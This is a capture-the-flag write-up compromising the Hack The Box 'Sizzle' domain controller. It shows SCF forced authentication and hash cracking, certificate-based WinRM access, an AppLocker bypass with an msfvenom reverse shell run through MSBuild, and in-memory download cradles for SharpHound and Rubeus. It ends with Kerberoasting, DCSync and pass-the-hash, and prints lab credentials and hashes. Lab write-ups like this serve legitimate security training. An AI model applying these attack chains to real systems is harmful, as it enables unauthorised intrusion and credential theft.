[HTB] Sizzle

The Sizzle machine has been created by mrb3n and lkys37en. This is an insane Windows Machine with a strong focus on Active Directory exploitation. It was really interesting, especially on the Certificate Service side. We had to guesstimate some part of the attack path but, it is still a nice machine.

If you didn’t solve this challenge and just look for answers, first you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints for attack paths when dealing with an Active Directory.


Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.


In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.

This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.

Scan with Nmap

Let’s start with a classic service scan with Nmap in order to reveal some of the TCP ports open on the machine.

$ nmap -Pn -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-14 13:24 EST
Nmap scan report for
Host is up (0.018s latency).
Not shown: 987 filtered tcp ports (no-response)
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.44 seconds

Remember: By default, Nmap only target the 1000 most common ports. You can find the full list here: https://github.com/nmap/nmap/blob/master/nmap-services. However, they are sorted by port numbers, not by open frequency.

Okay, we are on a DC (HTB.LOCAL) and we have a few interesting ports, including a Web server running on TCP/80. Let’s start with that.

HTTP Recon

To do the HTTP reconnaissance we used gobuster, a tool to brute-force directories and files.

$ gobuster dir -u -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2022/06/04 15:17:47 Starting gobuster in directory enumeration mode
/aspnet_client        (Status: 301) [Size: 159] [-->]
/certenroll           (Status: 301) [Size: 156] [-->]   
/certsrv              (Status: 401) [Size: 1293]                                          
/images               (Status: 301) [Size: 152] [-->]       
/Images               (Status: 301) [Size: 152] [-->]       
/index.html           (Status: 200) [Size: 60]                                            
2022/06/04 15:18:02 Finished

We have some interesting findings, especially the /certsrv page which corresponds to the CA Web enrollment page. However, it seems we that need some credentials to get access.


Maybe we can get back to that later, let’s keep going.

SMB Shares

We could try to find some open shares via an anonymous login on the target machine with smbclient.

$ smbclient -N -L \\\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        CertEnroll      Disk      Active Directory Certificate Services share
        Department Shares Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Operations      Disk      
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Interesting, we have access and by looking at Department Shares we found a bunch of folders.

$ smbclient "\\\\\\Department Shares"
Enter WORKGROUP\ax's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Jul  3 11:22:32 2018
  ..                                  D        0  Tue Jul  3 11:22:32 2018
  Accounting                          D        0  Mon Jul  2 15:21:43 2018
  Audit                               D        0  Mon Jul  2 15:14:28 2018
  Banking                             D        0  Tue Jul  3 11:22:39 2018
  CEO_protected                       D        0  Mon Jul  2 15:15:01 2018
  Devops                              D        0  Mon Jul  2 15:19:33 2018
  Finance                             D        0  Mon Jul  2 15:11:57 2018
  HR                                  D        0  Mon Jul  2 15:16:11 2018
  Infosec                             D        0  Mon Jul  2 15:14:24 2018
  Infrastructure                      D        0  Mon Jul  2 15:13:59 2018
  IT                                  D        0  Mon Jul  2 15:12:04 2018
  Legal                               D        0  Mon Jul  2 15:12:09 2018
  M&A                                 D        0  Mon Jul  2 15:15:25 2018
  Marketing                           D        0  Mon Jul  2 15:14:43 2018
  R&D                                 D        0  Mon Jul  2 15:11:47 2018
  Sales                               D        0  Mon Jul  2 15:14:37 2018
  Security                            D        0  Mon Jul  2 15:21:47 2018
  Tax                                 D        0  Mon Jul  2 15:16:54 2018
  Users                               D        0  Tue Jul 10 17:39:32 2018
  ZZ_ARCHIVE                          D        0  Mon Jul  2 15:32:58 2018

                7779839 blocks of size 4096. 3145080 blocks available
smb: \> 

Let’s start by exploring the Users folder to check if we can get some usernames and maybe some folders with weak permissions.

smb: \> cd users\
smb: \users\> ls
  .                                   D        0  Tue Jul 10 17:39:32 2018
  ..                                  D        0  Tue Jul 10 17:39:32 2018
  amanda                              D        0  Mon Jul  2 15:18:43 2018
  amanda_adm                          D        0  Mon Jul  2 15:19:06 2018
  bill                                D        0  Mon Jul  2 15:18:28 2018
  bob                                 D        0  Mon Jul  2 15:18:31 2018
  chris                               D        0  Mon Jul  2 15:19:14 2018
  henry                               D        0  Mon Jul  2 15:18:39 2018
  joe                                 D        0  Mon Jul  2 15:18:34 2018
  jose                                D        0  Mon Jul  2 15:18:53 2018
  lkys37en                            D        0  Tue Jul 10 17:39:04 2018
  morgan                              D        0  Mon Jul  2 15:18:48 2018
  mrb3n                               D        0  Mon Jul  2 15:19:20 2018
  Public                              D        0  Sat Jun  4 15:45:32 2022

                7779839 blocks of size 4096. 3146808 blocks available

After looking around for a few minutes, we couldn’t find any interesting files. However, we found out that the Public folder was writable. Maybe we could upload an .scf file to force a user to connect on our machine.

How did you get there ? If we had multiple machines, this would be a valid pentest scenario to try to coerce an authentication on our machine, but we we had to think this challenge as what it is, a CTF and this was the best path :)

Initial Access

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

Forced Authentication

According to the MITRE, adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource, it will automatically attempt to authenticate and send credential information for the current user to the remote system.

For example, a modified .LNK or .SCF file with the icon filename pointing to an external reference will force the system to load the resource when the icon is rendered to repeatedly gather credentials.

Using the following article let’s see if we can coerce any user to authenticate to our machine and grab a hash. First, we created a simple .scf file.


Then, the file was uploaded to the Public folder.

smb: \users\Public\> put hello.scf 
putting file hello.scf as \users\Public\hello.scf (0.6 kb/s) (average 0.6 kb/s)
smb: \users\Public\> ls
  .                                   D        0  Sat Jun  4 15:51:50 2022
  ..                                  D        0  Sat Jun  4 15:51:50 2022
  hello.scf                           A       47  Sat Jun  4 15:51:50 2022

                7779839 blocks of size 4096. 3146287 blocks available
smb: \users\Public\> 

Then, using responder, an LLMNR, NBT-NS and MDNS poisoner, as listeners we were able to capture a hash for the amanda account.

$ sudo responder -I tun0


[+] Listening for events... 

[SMB] NTLMv2-SSP Client   : ::ffff:
[SMB] NTLMv2-SSP Username : HTB\amanda
[SMB] NTLMv2-SSP Hash     : amanda::HTB:8a7e87c1233bc727:D2FE0898E458F50CE1058E063C2E11BE:010100000000000000CF78A4A921D801AC2B3950B152C1C4000000000200080031004B005000410001001E00570049004E002D00500031004800450031004400370050005A003100570004003400570049004E002D00500031004800450031004400370050005A00310057002E0031004B00500041002E004C004F00430041004C000300140031004B00500041002E004C004F00430041004C000500140031004B00500041002E004C004F00430041004C000700080000CF78A4A921D8010600040002000000080030003000000000000000010000000020000059F2C79AD3F324A2CB03F298893ECE8E71C147E0FE3F16F742F2FBA88ADBD0A30A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003800000000000000000000000000      

Here, we used John the Ripper to crack the password, but it can be done with other tools like hashcat.

$ john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972       (amanda)     
1g 0:00:00:10 DONE (2022-02-14 13:53) 0.09727g/s 1110Kp/s 1110Kc/s 1110KC/s Ashiah08..Arsenic
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Great, we now have credentials for amanda (amanda:Ashare1972). Let’s validate those credentials.

$ crackmapexec smb -u amanda -p Ashare1972
SMB   445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB   445    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972 

Nice, maybe we can use evil-winrm with these credentials.

$ evil-winrm -i -u amanda -p Ashare1972

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Sat, 04 Jun 2022 21:34:14 GMT", "Connection"=>"close", "Content-Length"=>"0"}                                                                                                                           
Body:  (401). 
Error: Exiting with code 1

It looks like a no.


Given we do have a Certificate Authority, maybe it needs a certificate instead of a password. Let’s see if we can access to with our credentials.


Nice ! We now need to create a certificate signing request (CSR) to request a certificate. openssl is our goto tool here. First, we generate an RSA private key.

$ $ openssl genrsa -des3 -out amanda.key 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
e is 65537 (0x010001)
Enter pass phrase for amanda.key:
Verifying - Enter pass phrase for amanda.key:

Now, the CSR. We can leave every field empty as it is not really important here.

$ openssl req -new -key amanda.key -out amanda.csr
Enter pass phrase for amanda.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Get the newly created CSR and copy/paste it.

$ cat amanda.csr                                                                                        

On we just need to click on Request a certificate, then advanced certificate request and paste our CSR.


On the certificate is generated, we can download it (no need to download the chain) as Base64 on our attacking machine.



Finally, let’s try again with evil-winrm and our newly created certificate.

$ evil-winrm -i -k amanda.key -c Downloads/certnew.cer -S

Evil-WinRM shell v3.3
Warning: SSL enabled
Info: Establishing connection to remote endpoint

Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\amanda\Documents>

Awesome !

Privilege Escalation

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.

Bypassing CLM/AppLocker

This is a bit annoying, as our PowerShell shell run with constrained language mode (CLM), we cannot execute our fancy scripts. Basically, CLM restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs. Here is a quick example:

*Evil-WinRM* PS C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode
*Evil-WinRM* PS C:\Users\amanda\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.xx/PrivescCheck.ps1'); Invoke-PrivescCheck
Enter PEM pass phrase:
Cannot create type. Only core types are supported in this language mode.
At line:1 char:5
+ IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.xx/Priv ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedException
    + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand


Moreover, we cannot download our tools and run them on the target machine. Here is an example with Rubeus.exe.

*Evil-WinRM* PS C:\Users\amanda\Documents> iwr -uri -outfile Rubeus.exe
*Evil-WinRM* PS C:\Users\amanda\Documents> ./Rubeus.exe
Program 'Rubeus.exe' failed to run: This program is blocked by group policy. For more information, contact your system administratorAt line:1 char:1
+ ./Rubeus.exe
+ ~~~~~~~~~~~~.
At line:1 char:1
+ ./Rubeus.exe
+ ~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
*Evil-WinRM* PS C:\Users\amanda\Documents> reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
    EnforcementMode    REG_DWORD    0x1


However, like many other security systems, they have flaws and can be bypassed. There are many things we could do here, like searching for potential flaws in the AppLocker policy.

Here, we will use an unmanaged way to execute PowerShell that is based on MSBuild.exe. The tool is called PowerLessShell and can generate .csproj file to run with MSBuild.exe.

First, let’s generate a reverse shell with msfvenom. We added an encryption layer with shikata_ga_nai, just in case.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.xx LPORT=445 -e x86/shikata_ga_nai -f raw -o sizzle.raw
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Saved as: sizzle.raw

Then, using PowerLessShell, we generated our payload.

$ python2 PowerLessShell.py -source sizzle.raw -output sizzle.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'sizzle.csproj' created
Process completed

We can then upload it using iwr to the target machine. Note that the file was first hosted on the attacker machine.

*Evil-WinRM* PS C:\Users\amanda\Documents> iwr -uri -outfile sizzle.csproj
*Evil-WinRM* PS C:\Users\amanda\Documents> ls

    Directory: C:\Users\amanda\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2022   6:18 PM           6660 sizzle.csproj

Then, before executing msbuild.exe, we created a Metasploit for our payload.

$ sudo msfconsole -q -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST; set LPORT 445; exploit"
[sudo] password for ax: 
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
LPORT => 445
[*] Started reverse TCP handler on 

Finally, we can run the payload using msbuild.exe. Make sure to provide the full path for msbuild.exe.

*Evil-WinRM* PS C:\Users\amanda\Documents> C:\Windows\microsoft.net\framework\v4.0.30319\msbuild.exe sizzle.csproj

Microsoft (R) Build Engine version 4.6.1586.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 6/4/2022 6:19:54 PM.

If we take a look at the Metasploit listener, we can see that we have a callback.

[*] Sending stage (175174 bytes) to
[*] Meterpreter session 1 opened ( -> at 2022-06-04 18:19:56 -0400

meterpreter > sysinfo 
Computer        : SIZZLE
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Meterpreter     : x86/windows

Now, let’s run PowerShell, this time in FullLanguage. To do that, we will use the powershell module provided by our Meterpreter shell.

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell 
PS > $ExecutionContext.SessionState.LanguageMode 

Awesome, however, we are still constrained by AppLocker, but it does not really matter as we can run everything from memory.

Active Directory Recon

Here, if we want to run SharpHound in-memory through a PowerShell wrapper, first, we need to base64-encode the assembly.

$ base64 SharpHound.exe -w0 > SharpHound.txt

Then, we can load it into our PowerShell session.

PS > $SharpAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String((new-object net.webclient).downloadstring('')))
PS > [Sharphound.Program]::Main(" -d htb.local")

Result                 : System.Threading.Tasks.VoidTaskResult
Id                     : 1370
Exception              :
Status                 : RanToCompletion
IsCanceled             : False
IsCompleted            : True
CreationOptions        : None
AsyncState             :
IsFaulted              : False
AsyncWaitHandle        : System.Threading.ManualResetEvent
CompletedSynchronously : False

PS > ls

    Directory: C:\Users\amanda\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2022   7:17 PM          10893 20220604191736_BloodHound.zip
-a----         6/4/2022   7:17 PM           8127 MjA1NTZjODAtYTQzYS00OWY1LWFiOTAtMjFmYTQ1MmY1YTU4.bin
-a----         6/4/2022   6:18 PM           6660 sizzle.csproj

Now, using Meterpreter, we can download the results and start our analysis.

PS > ^Z
Background channel 1? [y/N]  y
meterpreter > download 20220604191736_BloodHound.zip
[*] Downloading: 20220604191736_BloodHound.zip -> /home/ax/20220604191736_BloodHound.zip
[*] Downloaded 10.64 KiB of 10.64 KiB (100.0%): 20220604191736_BloodHound.zip -> /home/ax/20220604191736_BloodHound.zip
[*] download   : 20220604191736_BloodHound.zip -> /home/ax/20220604191736_BloodHound.zip

Using Bloodhound’s results, let’s see if we can gain our initial foothold on the machine by identifying interesting privileges or attack paths, starting with our compromised user.


After a few checks, it seems that have an interesting attack path. The user mrlky has the DS-Replication-Get-Changes-All privilege on the domain HTB.LOCAL and this user seems to be Kerberoastable.

If we can crack mrlky password, we may be able to perform a DCSync attack.


Kerberoasting is an interesting technique that only requires a valid account on the targeted domain. Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller.

Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

Here, we can use Rubeus to find Service Principal Names (SPN) that are associated with a user account and request a TGS.

Here, if we want to run Rubeus in-memory through a PowerShell wrapper, again, we need to base64-encode the assembly.

$ base64 Rubeus.exe -w0 > Rubeus.txt

Then, we can load it into our PowerShell session and request mrlky hash with amanda credentials.

PS > $RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String((new-object net.webclient).downloadstring('')))
PS > [Rubeus.Program]::MainString("kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972")

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : HTB.LOCAL
[*] Searching path 'LDAP://sizzle.HTB.LOCAL/DC=HTB,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : mrlky
[*] DistinguishedName      : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName   : http/sizzle
[*] PwdLastSet             : 7/10/2018 2:08:09 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle@HTB.LOCAL*$1B08111E846707B3D6DC056F632D

Now, we just have to crack the recovered hash offline using the rockyou password list (if you are using Kali Linux, it should be present in the /usr/share/wordlists/ folder). Here, we used John the Ripper to crack the password, but it can be done with other tools.

$ john mrlky.hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Football#7       (?)
1g 0:00:00:12 DONE (2022-04-08 15:08) 0.08183g/s 913848p/s 913848c/s 913848C/s Forever3!..FokinovaS1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nice !

Dump the Administrator Hash

Here, we used impacket-secretsdump, another tool from the Impacket suite to dump the Administrator password using mrlky password.

$ impacket-secretsdump -just-dc-ntlm mrlky:Football#7@
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up...

Perfect, now we can use this NTLM hash to perform a Pass the Hash attack and read the first and second flag from the domain controller.

Note that Pass the hash (or PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

$ crackmapexec smb -u Administrator -H f6b7160bfc91823792e0ac3a162c9267 -x "dir c:\Users\mrlky\Desktop\user.txt"
SMB  445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB  445    SIZZLE           [+] HTB.LOCAL\Administrator:f6b7160bfc91823792e0ac3a162c9267 (Pwn3d!)
SMB  445    SIZZLE           [+] Executed command 
SMB  445    SIZZLE           Volume in drive C has no label.
SMB  445    SIZZLE           Volume Serial Number is 9C78-BB37
SMB  445    SIZZLE           
SMB  445    SIZZLE           Directory of c:\Users\mrlky\Desktop
SMB  445    SIZZLE           
SMB  445    SIZZLE           06/04/2022  03:38 PM                34 user.txt
SMB  445    SIZZLE           1 File(s)             34 bytes
SMB  445    SIZZLE           0 Dir(s)  15,061,581,824 bytes free
$ crackmapexec smb -u Administrator -H f6b7160bfc91823792e0ac3a162c9267 -x "dir c:\Users\Administrator\Desktop\root.txt"
SMB  445    SIZZLE           [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB  445    SIZZLE           [+] HTB.LOCAL\Administrator:f6b7160bfc91823792e0ac3a162c9267 (Pwn3d!)
SMB  445    SIZZLE           [+] Executed command 
SMB  445    SIZZLE           Volume in drive C has no label.
SMB  445    SIZZLE           Volume Serial Number is 9C78-BB37
SMB  445    SIZZLE           
SMB  445    SIZZLE           Directory of c:\Users\Administrator\Desktop
SMB  445    SIZZLE           
SMB  445    SIZZLE           06/04/2022  03:38 PM                34 root.txt
SMB  445    SIZZLE           1 File(s)             34 bytes
SMB  445    SIZZLE           0 Dir(s)  15,061,581,824 bytes free

Awesome ! I hope you enjoyed it, I know I did :)